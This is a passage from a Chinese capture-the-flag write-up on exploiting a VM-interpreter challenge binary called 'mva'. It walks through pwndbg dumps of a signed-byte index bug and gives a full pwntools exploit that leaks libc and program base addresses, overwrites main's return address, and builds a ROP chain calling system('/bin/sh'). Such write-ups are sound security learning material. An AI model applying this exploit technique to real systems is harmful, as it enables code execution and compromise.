02:00100x7ffcefc61170 ◂— 0xf46aa66cd4
03:00180x7ffcefc61178 ◂— 0x80000000
04:00200x7ffcefc61180 ◂— 0x0 /* v12[start] */
05:00280x7ffcefc61188 ◂— 0x1
06:00300x7ffcefc61190 —▸ 0x7f406df3e700 —▸ 0x7f406df3e190 —▸ 0x564995599000 ◂— 0x10102464c457f
07:00380x7ffcefc61198 —▸ 0x7f406df0e680 ◂— 0x7f406df0e680
1
2
3
4
5
pwndbg> x/20xw 0x7ffcefc61160 
0x7ffcefc61160: 0x000000f4 0x80000000 0x00000001 0x00000000
0x7ffcefc61170: 0x6aa66cd4 0x000000f4 0x80000000 0x00000000
/* v10[0] to v10[-10] */
/* v10[3] to v10[-7] */

发现v9出现异常,这里解释一下:

1
2
3
#define SBYTEn(x, n)   (*((int8*)&(x)+n))
#define SBYTE1(x) SBYTEn(x, 1)
#define SBYTE2(x) SBYTEn(x, 2)

因为“SBYTEn”和“SBYTEn”是“int8”类型,所以“0xf6”被识别为“-9”,“0xf7”被识别为“-8”……

导致“v10[-10]”,“v10[-7]”分别被写入“v10[0]”,“v10[3]”,最终导致“v9”被覆盖

  • v9 = 0x80000000000000f4
1
2
3
0x56499559aa20    call   printf@plt                <printf@plt>
format: 0x56499559b04a ◂— 0x205d2b5b000a6425 /* '%d\n' */
vararg: 0xaa70
1
2
3
4
5
6
7
8
In [5]: 0x80000000000000f4*2
Out[5]: 18446744073709552104

In [6]: 0x7ffcefc61180+18446744073709552104
Out[6]: 18446884798040773480

In [7]: hex(18446884798040773480) /* 直接舍弃溢出的部分 */
Out[7]: '0x100007ffcefc61368'
1
2
3
4
5
6
7
pwndbg> telescope 0x7ffcefc61368 /* 发现目标数据 */
00:00000x7ffcefc61368 ◂— 0x56499559aa70 /* v12[0x80000000000000f4] */
01:00080x7ffcefc61370 ◂— 0x0
02:00100x7ffcefc61378 —▸ 0x56499559a100 ◂— endbr64
03:00180x7ffcefc61380 —▸ 0x7ffcefc61480 ◂— 0x1
04:00200x7ffcefc61388 ◂— 0x39d2b6d7df852f00
05:0028│ rbp 0x7ffcefc61390 ◂— 0x0
  • v9 = 0x80000000000000f5
1
2
3
0x56499559aa20    call   printf@plt                <printf@plt>
format: 0x56499559b04a ◂— 0x205d2b5b000a6425 /* '%d\n' */
vararg: 0x9559
1
2
3
4
5
6
7
pwndbg> telescope 0x7ffcefc61368
00:00000x7ffcefc61368 ◂— 0x5649955900f4 /* v12[0x80000000000000f5] */
01:00080x7ffcefc61370 ◂— 0x0
02:00100x7ffcefc61378 —▸ 0x56499559a100 ◂— endbr64
03:00180x7ffcefc61380 —▸ 0x7ffcefc61480 ◂— 0x1
04:00200x7ffcefc61388 ◂— 0x39d2b6d7df852f00
05:0028│ rbp 0x7ffcefc61390 ◂— 0x0
  • v9 = 0x80000000000000f6
1
2
3
0x56499559aa20    call   printf@plt                <printf@plt>
format: 0x56499559b04a ◂— 0x205d2b5b000a6425 /* '%d\n' */
vararg: 0x5649
1
2
3
4
5
6
7
pwndbg> telescope 0x7ffcefc61368
00:00000x7ffcefc61368 ◂— 0x564900f400f4 /* v12[0x80000000000000f6] */
01:00080x7ffcefc61370 ◂— 0x0
02:00100x7ffcefc61378 —▸ 0x56499559a100 ◂— endbr64
03:00180x7ffcefc61380 —▸ 0x7ffcefc61480 ◂— 0x1
04:00200x7ffcefc61388 ◂— 0x39d2b6d7df852f00
05:0028│ rbp 0x7ffcefc61390 ◂— 0x0

pro_base 成功泄露,leak 完毕,接下来需要覆盖 ret 再次执行 main:

1
2
3
4
5
6
7
8
9
10
11
12
pay =  push() # 没什么用,只是为了调试而已
pay += ldr(0,0,0xff) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
pay += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)
pay += pop(0) + sh() + pop(1) + sh()
pay += ldr(2,1,0xe) + ldr(3,0,0) + ldr(4,0,0) + ldr(5,0x80,0)
pay += mv(2,0xf6) + mv(3,0xf7) + mv(4,0xf8) + mv(5,0xf9) + push()
pay += mv(1,0) + pop(1) + pop(1) + push()
pay += ldr(0,0x51,0) + pop(1) + pop(1) + push()

pay = pay.ljust(0x100-1, b'\x00')

p.send(pay)
  • 4 个 ldr 和 4 个 mv 执行完毕后:
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffd83e7d050
00:00000x7ffd83e7d050 ◂— 0x80000000000000ff /* v9 */
01:00080x7ffd83e7d058 ◂— 0x1
02:00100x7ffd83e7d060 ◂— 0xff9165dcd4 /* v10[start] */
03:00180x7ffd83e7d068 ◂— 0x80000000 /* v11 */
04:00200x7ffd83e7d070 ◂— 0x0 /* v12[start] */
05:00280x7ffd83e7d078 ◂— 0x1
06:00300x7ffd83e7d080 —▸ 0x7fa30ff1c700 —▸ 0x7fa30ff1c190 —▸ 0x56066e9a2000 ◂— 0x10102464c457f
07:00380x7ffd83e7d088 —▸ 0x7fa30feec680 ◂— 0x7fa30feec680
  • 第一次执行 pop :
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffd83e7d050
00:00000x7ffd83e7d050 ◂— 0x80000000000000fe /* v9=0x80000000000000fe */
01:00080x7ffd83e7d058 ◂— 0x1
02:00100x7ffd83e7d060 ◂— 0x56069165dcd4 /* v10[0]=0x5606 */
03:00180x7ffd83e7d068 ◂— 0x80000000
04:00200x7ffd83e7d070 ◂— 0x0 /* v12[start] */
05:00280x7ffd83e7d078 ◂— 0x1
06:00300x7ffd83e7d080 —▸ 0x7fa30ff1c700 —▸ 0x7fa30ff1c190 —▸ 0x56066e9a2000 ◂— 0x10102464c457f
07:00380x7ffd83e7d088 —▸ 0x7fa30feec680 ◂— 0x7fa30feec680
1
2
3
0x56066e9a3a20    call   printf@plt                <printf@plt>
format: 0x56066e9a404a ◂— 0x205d2b5b000a6425 /* '%d\n' */
vararg: 0x5606
1
2
3
4
5
6
7
8
In [4]: (0x80000000000000ff-1)*2 /* 注意"[--v9]"" */
Out[4]: 18446744073709552124

In [5]: 0x7ffd83e7d070+18446744073709552124
Out[5]: 18446884800526013036

In [6]: hex(18446884800526013036)
Out[6]: '0x100007ffd83e7d26c'
1
2
3
4
pwndbg> telescope 0x7ffd83e7d26c
00:00000x7ffd83e7d26c ◂— 0x83e7d37000005606 /* target */
01:00080x7ffd83e7d274 ◂— 0x5793bc0000007ffd
02:0010│ rbp-4 0x7ffd83e7d27c ◂— 0x93e7a31e
  • 第二次执行 pop :
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffd83e7d050
00:00000x7ffd83e7d050 ◂— 0x80000000000000fd /* v9=0x80000000000000fd */
01:00080x7ffd83e7d058 ◂— 0x1
02:00100x7ffd83e7d060 ◂— 0x6e9a56069165dcd4 /* v10 */
03:00180x7ffd83e7d068 ◂— 0x80000000
04:00200x7ffd83e7d070 ◂— 0x0 /* v12[start] */
05:00280x7ffd83e7d078 ◂— 0x1
06:00300x7ffd83e7d080 —▸ 0x7fa30ff1c700 —▸ 0x7fa30ff1c190 —▸ 0x56066e9a2000 ◂— 0x10102464c457f
07:00380x7ffd83e7d088 —▸ 0x7fa30feec680 ◂— 0x7fa30feec680
1
2
3
0x56066e9a3a20    call   printf@plt                <printf@plt>
format: 0x56066e9a404a ◂— 0x205d2b5b000a6425 /* '%d\n' */
vararg: 0x6e9a
1
2
3
4
5
6
7
8
In [7]: (0x80000000000000fe-1)*2 /* 注意"[--v9]"" */
Out[7]: 18446744073709552122

In [8]: 0x7ffd83e7d070+18446744073709552122
Out[8]: 18446884800526013034

In [9]: hex(18446884800526013034)
Out[9]: '0x100007ffd83e7d26a'
1
2
3
4
pwndbg> telescope 0x7ffd83e7d26a 
00:00000x7ffd83e7d26a ◂— 0xd370000056066e9a /* target */
01:00080x7ffd83e7d272 ◂— 0xbc0000007ffd83e7
02:0010│ rbp-6 0x7ffd83e7d27a ◂— 0x93e7a31e5793

这里的操作证明了:可以通过 ldr mv 修改“v9”的方式使程序错误定位“v12[target]”,而入在 pop 时把错误数据写入“v10”,那么接下来的 push 输入的值“v10”就可以被控制,就可以利用这一点来覆盖程序的返回地址

  • 4 个 ldr 和 4 个 mv 执行完毕后:
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffd83e7d050
00:00000x7ffd83e7d050 ◂— 0x800000000000010e /* v9 */
01:00080x7ffd83e7d058 ◂— 0x1
02:00100x7ffd83e7d060 ◂— 0x6e9a56069165dcd4 /* v10[start] */
03:00180x7ffd83e7d068 ◂— 0x800000000000010e
04:00200x7ffd83e7d070 ◂— 0x0 /* v12[start] */
05:00280x7ffd83e7d078 ◂— 0x1
06:00300x7ffd83e7d080 —▸ 0x7fa30ff1c700 —▸ 0x7fa30ff1c190 —▸ 0x56066e9a2000 ◂— 0x10102464c457f
07:00380x7ffd83e7d088 —▸ 0x7fa30feec680 ◂— 0x7fa30feec680
1
2
3
4
5
6
7
8
In [10]: 0x800000000000010e*2
Out[10]: 18446744073709552156

In [11]: 0x7ffd83e7d070+18446744073709552156
Out[11]: 18446884800526013068

In [12]: hex(18446884800526013068)
Out[12]: '0x100007ffd83e7d28c'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x7ffd83e7d28c
00:00000x7ffd83e7d28c ◂— 0xff1a62000007fa3
01:00080x7ffd83e7d294 ◂— 0x83e7d37800007fa3
02:00100x7ffd83e7d29c ◂— 0x7ffd
03:00180x7ffd83e7d2a4 ◂— 0x6e9a32aa00000001
04:00200x7ffd83e7d2ac ◂— 0x6e9a3a7000005606
05:00280x7ffd83e7d2b4 ◂— 0x91fbed9200005606
06:00300x7ffd83e7d2bc ◂— 0x6e9a310090176fc9
07:00380x7ffd83e7d2c4 ◂— 0x83e7d37000005606

pwndbg> telescope 0x7ffd83e7d28c-4
00:00000x7ffd83e7d288 —▸ 0x7fa30fd1d0b3 (__libc_start_main+243) ◂— mov edi, eax
01:00080x7ffd83e7d290 —▸ 0x7fa30ff1a620 (_rtld_global_ro) ◂— 0x50d1300000000
02:00100x7ffd83e7d298 —▸ 0x7ffd83e7d378 —▸ 0x7ffd83e7f39d ◂— 0x4a470061766d2f2e /* './mva' */
03:00180x7ffd83e7d2a0 ◂— 0x100000000
04:00200x7ffd83e7d2a8 —▸ 0x56066e9a32aa ◂— endbr64

在 ldr mv 和配合下,程序成功通过“v9”定位到了返回地址,接下来就要进行覆盖了

  • 执行 push 进行第一次覆盖:
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffd83e7d050
00:00000x7ffd83e7d050 ◂— 0x800000000000010f /* v9 */
01:00080x7ffd83e7d058 ◂— 0x1
02:00100x7ffd83e7d060 ◂— 0x6e9a56069165dcd4 /* v10[0]=0x5606 */
03:00180x7ffd83e7d068 ◂— 0x800000000000010e
04:00200x7ffd83e7d070 ◂— 0x0 /* v12[start] */
05:00280x7ffd83e7d078 ◂— 0x1
06:00300x7ffd83e7d080 —▸ 0x7fa30ff1c700 —▸ 0x7fa30ff1c190 —▸ 0x56066e9a2000 ◂— 0x10102464c457f
07:00380x7ffd83e7d088 —▸ 0x7fa30feec680 ◂— 0x7fa30feec680
1
2
3
4
pwndbg> telescope 0x7ffd83e7d28c-4 /* 返回地址[0-1]被覆盖为"0x5606" */
00:00000x7ffd83e7d288 ◂— 0x56060fd1d0b3
01:00080x7ffd83e7d290 —▸ 0x7fa30ff1a620 (_rtld_global_ro) ◂— 0x50d1300000000
02:00100x7ffd83e7d298 —▸ 0x7ffd83e7d378 —▸ 0x7ffd83e7f39d ◂— 0x4a470061766d2f2e /* './mva' */
  • 执行 push 进行第二次覆盖:
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffd83e7d050
00:00000x7ffd83e7d050 ◂— 0x800000000000010e /* v9 */
01:00080x7ffd83e7d058 ◂— 0x1
02:00100x7ffd83e7d060 ◂— 0xfd16e9a9165dcd4 /* v10[0]=0x6e9a */
03:00180x7ffd83e7d068 ◂— 0x800000000000010e
04:00200x7ffd83e7d070 ◂— 0x0 /* v12[start] */
05:00280x7ffd83e7d078 ◂— 0x1
06:00300x7ffd83e7d080 —▸ 0x7fa30ff1c700 —▸ 0x7fa30ff1c190 —▸ 0x56066e9a2000 ◂— 0x10102464c457f
07:00380x7ffd83e7d088 —▸ 0x7fa30feec680 ◂— 0x7fa30feec680
1
2
3
4
pwndbg> telescope 0x7ffd83e7d28c-4 /* 返回地址[1-3]被覆盖为"0x6e9a" */
00:00000x7ffd83e7d288 ◂— 0x56066e9ad0b3
01:00080x7ffd83e7d290 —▸ 0x7fa30ff1a620 (_rtld_global_ro) ◂— 0x50d1300000000
02:00100x7ffd83e7d298 —▸ 0x7ffd83e7d378 —▸ 0x7ffd83e7f39d ◂— 0x4a470061766d2f2e /* './mva' */
  • 执行 push 进行第三次覆盖:
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffd83e7d050
00:00000x7ffd83e7d050 ◂— 0x800000000000010d /* v9 */
01:00080x7ffd83e7d058 ◂— 0x1
02:00100x7ffd83e7d060 ◂— 0xd0b351009165dcd4 /* v10[0]=0x5100 */
03:00180x7ffd83e7d068 ◂— 0x800000000000010e
04:00200x7ffd83e7d070 ◂— 0x0 /* v12[start] */
05:00280x7ffd83e7d078 ◂— 0x1
06:00300x7ffd83e7d080 —▸ 0x7fa30ff1c700 —▸ 0x7fa30ff1c190 —▸ 0x56066e9a2000 ◂— 0x10102464c457f
07:00380x7ffd83e7d088 —▸ 0x7fa30feec680 ◂— 0x7fa30feec680
1
2
3
4
pwndbg> telescope 0x7ffd83e7d28c-4
00:00000x7ffd83e7d288 —▸ 0x56066e9a5100 ◂— 0x14
01:00080x7ffd83e7d290 —▸ 0x7fa30ff1a620 (_rtld_global_ro) ◂— 0x50d1300000000
02:00100x7ffd83e7d298 —▸ 0x7ffd83e7d378 —▸ 0x7ffd83e7f39d ◂— 0x4a470061766d2f2e /* './mva' */

成功覆盖 main 的返回地址,因为程序开了PIE,所以每次攻击都有很小的概率可以命中“start”(至于组成“start”各个部分,都是在程序中找的,先利用 ldr mv 进行定位,再用 pop 将其赋值给“v10”)

1
2
3
4
5
.text:0000562438CCC100 ; void __fastcall __noreturn start(__int64, __int64, void (*)(void))
.text:0000562438CCC100 public start
.text:0000562438CCC100 start proc near
.text:0000562438CCC100 ; __unwind {
.text:0000562438CCC100 endbr64

我们已经成功泄露了 libc_base 和 pro_base,并且覆盖了返回地址,那么下一次输入就可以执行攻击了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
payload =  ldr(0,1,0xc) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0) 
payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)

payload += b'\x09\x01'+p16(pop_rdi1)
payload += b'\x09\x01'+p16(pop_rdi2)

payload += ldr(0,1,0x10) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)

payload += b'\x09\x01'+p16(binsh1)
payload += b'\x09\x01'+p16(binsh2)
payload += b'\x09\x01'+p16(binsh3)

payload += ldr(0,1,0x14) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)

payload += b'\x09\x01'+p16(ret1)
payload += b'\x09\x01'+p16(ret2)
payload += b'\x09\x01'+p16(ret3)

payload += ldr(0,1,0x18) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)

payload += b'\x09\x01'+p16(system1)
payload += b'\x09\x01'+p16(system2)
payload += b'\x09\x01'+p16(system3)
payload += b'\x09\x01'+p16(0)

payload += p32(0x8) + p32(0xE4000000)
payload = payload.ljust(0x38*4,b'\x00')

payload += p32(8) + p32(0)
payload = payload.ljust(0xf8,b'\x00')
payload += b'/bin/sh\x00'

p.send(payload)

其实这里的操作和前面类似,指令 ldr mv 修改“v9”,指令 push 通过“v9”索引到目标位置,然后把数据分段覆盖上去

我们看一下效果:

1
2
3
4
5
/* 第一次:覆盖ret为pop rdi */
pwndbg> telescope 0x7ffefad1a128
00:00000x7ffefad1a128 —▸ 0x7f4561689b72 (init_cacheinfo+242) ◂— pop rdi
01:00080x7ffefad1a130 ◂— 0x98000000980
02:00100x7ffefad1a138 —▸ 0x7ffefad1a218 —▸ 0x7ffefad1a2f8 —▸ 0x7ffefad1c39d ◂— 0x4a470061766d2f2e /* './mva' */
1
2
3
4
5
/* 第二次: 填入"/bin/sh"的地址(利用pro_base计算出来的) */
pwndbg> telescope 0x7ffefad1a128
00:00000x7ffefad1a128 —▸ 0x7f4561689b72 (init_cacheinfo+242) ◂— pop rdi
01:00080x7ffefad1a130 —▸ 0x5593c1a08138 ◂— 0x68732f6e69622f /* '/bin/sh' */
02:00100x7ffefad1a138 —▸ 0x7ffefad1a218 —▸ 0x7ffefad1a2f8 —▸ 0x7ffefad1c39d ◂— 0x4a470061766d2f2e /* './mva' */
1
2
3
4
5
6
/* 覆盖上ret用于平衡栈帧 */
pwndbg> telescope 0x7ffefad1a128
00:00000x7ffefad1a128 —▸ 0x7f4561689b72 (init_cacheinfo+242) ◂— pop rdi
01:00080x7ffefad1a130 —▸ 0x5593c1a08138 ◂— 0x68732f6e69622f /* '/bin/sh' */
02:00100x7ffefad1a138 —▸ 0x7f4561688679 (__libgcc_s_init+61) ◂— ret
03:00180x7ffefad1a140 ◂— 0x6188762000000000
1
2
3
4
5
6
/* 最后覆盖上system */
pwndbg> telescope 0x7ffefad1a128
00:00000x7ffefad1a128 —▸ 0x7f4561689b72 (init_cacheinfo+242) ◂— pop rdi
01:00080x7ffefad1a130 —▸ 0x5593c1a08138 ◂— 0x68732f6e69622f /* '/bin/sh' */
02:00100x7ffefad1a138 —▸ 0x7f4561688679 (__libgcc_s_init+61) ◂— ret
03:00180x7ffefad1a140 —▸ 0x7f45616b82c0 (system) ◂— endbr64

完整exp:(可能需要多爆破几次,有时泄露的信息不对,有时出现错误)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#!/usr/bin/python3

from pwn import *
context.arch='amd64'

elf=ELF('./mva')
libc = ELF('./libc-2.31.so')
p=process('./mva')

def pack(op:int, p1:int = 0, p2:int = 0, p3:int = 0) -> bytes:
return (op&0xff).to_bytes(1,'little') + \
(p1&0xff).to_bytes(1,'little') + \
(p2&0xff).to_bytes(1,'little') + \
(p3&0xff).to_bytes(1,'little')

def ldr(p1,p2,p3):
return pack(0x01, p1, p2, p3)

def add(p1, p2, p3):
return pack(0x02, p1, p2, p3)

def sub(p1, p2, p3):
return pack(0x03, p1, p2, p3)

def shr(p1, p2):
return pack(0x06, p1, p2)

def xor(p1, p2, p3):
return pack(0x07, p1, p2, p3)

def push():
return pack(0x09)

def pop(p1):
return pack(0x0a, p1)

def mul(p1, p2, p3):
return pack(0x0D, p1, p2, p3)

def mv(p1, p2):
return pack(0x0E, p1, p2)

def sh():
return pack(0x0F)

p.recvuntil('[+] Welcome to MVA, input your code now :\n')

while True:
try:
p=process('./mva')
sleep(0.01)

pay = push()*8
pay += sh()+push()+sh()+push()+sh()
pay += ldr(0,0,0xf4) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
pay += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)
pay += sh() + push() + sh() + push() + sh()

pay += ldr(0,0,0xff) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
pay += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)
pay += pop(0) + sh() + pop(1) + sh()
pay += ldr(2,1,0xe) + ldr(3,0,0) + ldr(4,0,0) + ldr(5,0x80,0)
pay += mv(2,0xf6) + mv(3,0xf7) + mv(4,0xf8) + mv(5,0xf9) + push()
pay += mv(1,0) + pop(1) + pop(1) + push()
pay += ldr(0,0x51,0) + pop(1) + pop(1) + push()

pay = pay.ljust(0x100, b'\x00')

p.send(pay)

p.recvuntil('[+] MVA is starting ...\n')
a = int(p.recv(6)[:-1])
log.success("a: " + hex(a))
b = int(p.recv(6)[:-1])
log.success("b: " + hex(b))
c = int(p.recv(6)[:-1])
log.success("c: " + hex(c))
d = (c << 32) | (b << 16) | a
log.success("d: " + hex(d))
libc.address = d - 0x223700
log.success("libc.address: " + hex(libc.address))

a = int(p.recv(6)[:-1])
log.success("a: " + hex(a))
b = int(p.recv(6)[:-1])
log.success("b: " + hex(b))
c = int(p.recv(6)[:-1])
log.success("c: " + hex(c))
d = (c << 32) | (b << 16) | a
log.success("d: " + hex(d))
elfbase = d - 0x1a70
log.success("elfbase: " + hex(elfbase))

pop_rdi = libc.address + 0x23b72
log.success("pop_rdi: " + hex(pop_rdi))

ret = libc.address + 0x22679
ret1 = ret & 0xffff
ret1 = ((ret1&0xff00)>>8) + ((ret1&0xff) << 8)
ret2 = (ret & 0xffffffff)>>16
ret2 = ((ret2&0xff00)>>8) + ((ret2&0xff) << 8)
ret3 = (ret)>>32
ret3 = ((ret3&0xff00)>>8) + ((ret3&0xff) << 8)

system = libc.sym['system']
log.success("system: " + hex(system))
system1 = system & 0xffff
system1 = ((system1&0xff00)>>8) + ((system1&0xff) << 8)
log.success("system1: " + hex(system1))
system2 = (system & 0xffffffff)>>16
system2 = ((system2&0xff00)>>8) + ((system2&0xff) << 8)
log.success("system2: " + hex(system2))
system3 = (system)>>32
system3 = ((system3&0xff00)>>8) + ((system3&0xff) << 8)
log.success("system3: " + hex(system3))

pop_rdi1 = pop_rdi & 0xffff
pop_rdi1 = ((pop_rdi1&0xff00)>>8) + ((pop_rdi1&0xff) << 8)
log.success("pop_rdi1: " + hex(pop_rdi1))
pop_rdi2 = (pop_rdi & 0xffffffff)>>16
pop_rdi2 = ((pop_rdi2&0xff00)>>8) + ((pop_rdi2&0xff) << 8)
log.success("pop_rdi2: " + hex(pop_rdi2))

binsh = elfbase + 0x4138
log.success("binsh: " + hex(binsh))
binsh1 = binsh & 0xffff
binsh1 = ((binsh1&0xff00)>>8) + ((binsh1&0xff) << 8)
log.success("binsh1: " + hex(binsh1))
binsh2 = (binsh & 0xffffffff)>>16
binsh2 = ((binsh2&0xff00)>>8) + ((binsh2&0xff) << 8)
log.success("binsh2: " + hex(binsh2))
binsh3 = (binsh)>>32
binsh3 = ((binsh3&0xff00)>>8) + ((binsh3&0xff) << 8)
log.success("binsh3: " + hex(binsh3))

p.recvuntil('[+] Welcome to MVA, input your code now :\n')
except EOFError:
p.close()
continue
else:
success("Success!!!")
pause()

payload = ldr(0,1,0xc) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)

payload += b'\x09\x01'+p16(pop_rdi1)
payload += b'\x09\x01'+p16(pop_rdi2)

payload += ldr(0,1,0x10) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)

payload += b'\x09\x01'+p16(binsh1)
payload += b'\x09\x01'+p16(binsh2)
payload += b'\x09\x01'+p16(binsh3)

payload += ldr(0,1,0x14) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)

payload += b'\x09\x01'+p16(ret1)
payload += b'\x09\x01'+p16(ret2)
payload += b'\x09\x01'+p16(ret3)

payload += ldr(0,1,0x18) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)

payload += b'\x09\x01'+p16(system1)
payload += b'\x09\x01'+p16(system2)
payload += b'\x09\x01'+p16(system3)
payload += b'\x09\x01'+p16(0)

payload += p32(0x8) + p32(0xE4000000)
payload = payload.ljust(0x38*4,b'\x00')

payload += p32(8) + p32(0)
payload = payload.ljust(0xf8,b'\x00')
payload += b'/bin/sh\x00'

#gdb.attach(p)

p.send(payload)
p.interactive()

小结

这道题差点让我离开人世,我一共复现了3天,第1天连“跳转表”都不会改,被乱七八糟的代码搞崩了心态,第2天又被复杂的算法血虐,凌晨的时候才打出了两个leak,第3天直接调试到吐

官方的exp我调不通(因为环境不一样),这大大阻碍了我的理解,最后慢慢理解程序的代码和exp的用意,不断调整exp进行试错,还是调出来了(虽然是对着wp调的)

这是我第一次搞 VMP pwn,算是长见识了……